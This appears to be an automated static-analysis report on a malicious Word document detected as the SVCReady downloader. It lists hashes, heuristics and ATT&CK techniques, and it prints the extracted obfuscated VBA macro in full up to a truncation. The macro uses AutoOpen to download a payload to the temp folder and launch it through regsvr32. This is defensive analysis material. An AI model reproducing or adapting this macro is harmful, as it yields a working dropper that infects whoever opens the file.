Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d14e72cd5330cc44…

MALICIOUS

Office (OOXML)

114.6 KB Created: 2020-07-21 08:29:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 6f196f9c259634f34bc6e405c9982532 SHA-1: 02e12fade54251ca502abbe33ba0131a32054f03 SHA-256: d14e72cd5330cc44a19396c48fc669f531f079b8b9806402d080f679af9c7de2
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon document opening. The script attempts to download a file to the temporary directory and execute it, likely as a second-stage payload. The presence of the 'Shell' execution token and the external relationship to a JPG file suggest a downloader or dropper functionality.

Heuristics 7

  • ClamAV: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Framework\rels\builds\pack1\us.jpg
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4576 bytes
SHA-256: 1b38ac819b4c00a81644033bf31c8f1e471e93b875d039e7fc89776c3aedcf93
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "e9606701"
Function a0067842()
a0067842 = ActiveWindow.Selection
End Function
Function ec38fc1b()
ec38fc1b = ActiveWindow.WindowState
End Function
Function a11c6950()
a11c6950 = Application.ActiveDocument.Application
End Function
Function fda1009e()
fda1009e = Application.ActiveDocument.Content
End Function
Sub AutoOpen()
Dim e9b6fbe5 As New aba883b2
aaa = e552f013(f4fb1edc)
e6a2df07 = e9b6fbe5.ef9d87c6(aaa, "")
de69c6a4 a03279c0, e6a2df07
Dim f499d0f8 As New WshShell
Call f499d0f8.exec(f235bf95 & " " & a03279c0)
End Sub

Attribute VB_Name = "f0501ed2"
Function c77f29a5()
c77f29a5 = 17243.838710009
End Function
Function e3d8a32e()
e3d8a32e = ActiveWindow.DisplayScreenTips
End Function
Function ecb12bad()
ecb12bad = ActiveWindow.Parent
End Function
Function f73ec6c0()
f73ec6c0 = ActiveWindow.DocumentMap
End Function
Sub de69c6a4(ef359cde, d4994926)
Dim b245e621
b245e621 = FreeFile
Open ef359cde For Output As #b245e621
Print #b245e621, b11355df(d4994926)
Close #b245e621
End Sub
Function a03279c0()
a03279c0 = Environ("tmp") & "\index.jpg"
End Function
Function aacbe485()
aacbe485 = 0
End Function
Function b6135ad2()
b6135ad2 = Application.ActiveDocument.AutoSaveOn
End Function
Function a1a69acb()
a1a69acb = Application.ActiveDocument.AutoSaveOn
End Function
Function b9a56e8c()
b9a56e8c = ActiveWindow.WindowNumber
End Function
Function e552f013(e2289642)
For ed6c4ed6 = 1 To Len(e2289642) Step 3
db57fe50 = db57fe50 & Mid(e2289642, ed6c4ed6, 1)
Next
e552f013 = db57fe50
End Function
Function b3ecf490()
b3ecf490 = ActiveWindow.StyleAreaWidth
End Function
Function eb2ecea2()
eb2ecea2 = ActiveWindow.DisplayHorizontalScrollBar
End Function
Function da1e4a8e()
da1e4a8e = Application.ActiveDocument.AutoHyphenation
End Function
Function c3eee6a2()
c3eee6a2 = ActiveWindow.DocumentMap
End Function
Sub a8130b0e()
End Sub
Function be5717b6()
be5717b6 = ActiveWindow.Parent
End Function
Function c42315ee()
c42315ee = Application.ActiveDocument.ActiveThemeDisplayName
End Function
Function ea4176ab()
ea4176ab = ActiveWindow.DisplayVerticalScrollBar
End Function
Function a2e0d4b9()
a2e0d4b9 = 49 * 20
End Function
Function b11355df(d4994926)
b11355df = StrConv(d4994926, 64)
End Function
Function b69aa0de()
b69aa0de = Application.ActiveDocument.AutoFormatOverride
End Function
Function e518b716()
e518b716 = 46833.195934235
End Function
Function b105886d()
b105886d = ActiveWindow.DisplayScreenTips
End Function
Function d62f74fb()
d62f74fb = ActiveWindow.IMEMode
End Function
Function f4fb1edc()
f4fb1edc = ActiveDocument.Shapes(1).AlternativeText
End Function
Function a79a9792()
a79a9792 = 14266 / 14
End Function
Function ae1fb58a()
ae1fb58a = Application.ActiveDocument.Content
End Function
Function a720b0c9()
a720b0c9 = ActiveWindow.StyleAreaWidth
End Function
Function a9bb030c()
a9bb030c = ActiveWindow.VerticalPercentScrolled
End Function
Function f235bf95()
f235bf95 = e552f013("rc2e05g7esa2vaer353a32c5")
End Function

Attribute VB_Name = "aba883b2"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function a0c31ec4()
a0c31ec4 = True
End Function
Function bb5ccfe4()
bb5ccfe4 = ActiveWindow.DisplayRightRuler
End Function
Function d83166ea()
d83166ea = 39268.644895933
End Function
Function e1a5ea0b(a8a8130bnp As String) As Boolean
If 694 = Len(a8a8130bnp) Then
e1a5ea0b = False
End If
End Function
Function ef9d87c6(fe32a5ca, ab886a55)
Dim dbbc4ab4 As Object
Set dbbc4ab4 = New MSXML2.XMLHTTP60
Call
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 28160 bytes
SHA-256: eb753e391d2f7337c1c96e70b0b64e5e0ab2b6441351431670f7e113c34f2058

Open this report in the interactive analyzer, or submit your own file for analysis.